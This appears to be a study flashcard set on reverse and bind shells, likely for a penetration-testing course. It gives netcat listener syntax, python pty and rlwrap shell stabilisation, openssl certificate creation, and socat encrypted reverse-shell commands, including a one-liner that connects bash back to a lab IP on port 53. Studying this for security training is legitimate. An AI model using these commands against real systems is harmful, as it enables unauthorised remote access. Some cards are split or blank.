Shell

0.0(0)
studied byStudied by 0 people
call kaiCall Kai
learnLearn
examPractice Test
spaced repetitionSpaced Repetition
heart puzzleMatch
flashcardsFlashcards
GameKnowt Play
Card Sorting

1/15

encourage image

There's no tags or description

Looks like no tags are added yet.

Last updated 3:05 PM on 4/18/25
Name
Mastery
Learn
Test
Matching
Spaced
Call with Kai

No analytics yet

Send a link to your students to track their progress

16 Terms

1
New cards

The syntax for starting a netcat listener using Linux

nc -lvnp : l listen, v verbpse, n not resolve DNS, p port

2
New cards

Connecting to a listening (bind shell):

nc

3
New cards

Use python to secure a stable shell

"python -c 'import pty;pty.spawn(""/bin/bash"")'

4
New cards

export TERM=xterm

5
New cards

Ctrl Z

6
New cards

stty raw -echo; fg"

7
New cards

Use rlwrap to secure a stable shell

rlwrap nc -lvnp

8
New cards

Use openssl to creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year.

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

9
New cards

merge the two created files into a single .pem file

cat shell.key shell.crt > shell.pem

10
New cards

Use socat to set up a shell listener (simple)

socat TCP-L: -

11
New cards

Use socat to set up a shell connecting to listener (simple)

socat TCP:: EXEC:"bash -li" (for window: EXEC:powershell.exe,pipes)

12
New cards

Use socat to set up our reverse shell listener

socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 -

13
New cards

Use socat to connect to a shell

socat OPENSSL::,verify=0 EXEC:/bin/bash

14
New cards

What is the syntax for setting up an OPENSSL-LISTENER using the tty technique? Use port 53, and a PEM file called "encrypt.pem"

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:tty,raw,echo=0

15
New cards

f your IP is 10.10.10.5, what syntax would you use to connect back to this listener?

socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

16
New cards

Explore top notes

Explore top flashcards

flashcards
Community & Neighborhood
57
Updated 918d ago
0.0(0)
flashcards
[PerDev] 2nd Quarter
103
Updated 1183d ago
0.0(0)
flashcards
Muscle and Tissue test
27
Updated 1109d ago
0.0(0)
flashcards
Paeth APUSH Unit 7B (1930-1945)
60
Updated 326d ago
0.0(0)
flashcards
Earth Science Test 13
41
Updated 1074d ago
0.0(0)
flashcards
theology exam
49
Updated 1165d ago
0.0(0)
flashcards
Vocab 2.2
32
Updated 106d ago
0.0(0)
flashcards
Community & Neighborhood
57
Updated 918d ago
0.0(0)
flashcards
[PerDev] 2nd Quarter
103
Updated 1183d ago
0.0(0)
flashcards
Muscle and Tissue test
27
Updated 1109d ago
0.0(0)
flashcards
Paeth APUSH Unit 7B (1930-1945)
60
Updated 326d ago
0.0(0)
flashcards
Earth Science Test 13
41
Updated 1074d ago
0.0(0)
flashcards
theology exam
49
Updated 1165d ago
0.0(0)
flashcards
Vocab 2.2
32
Updated 106d ago
0.0(0)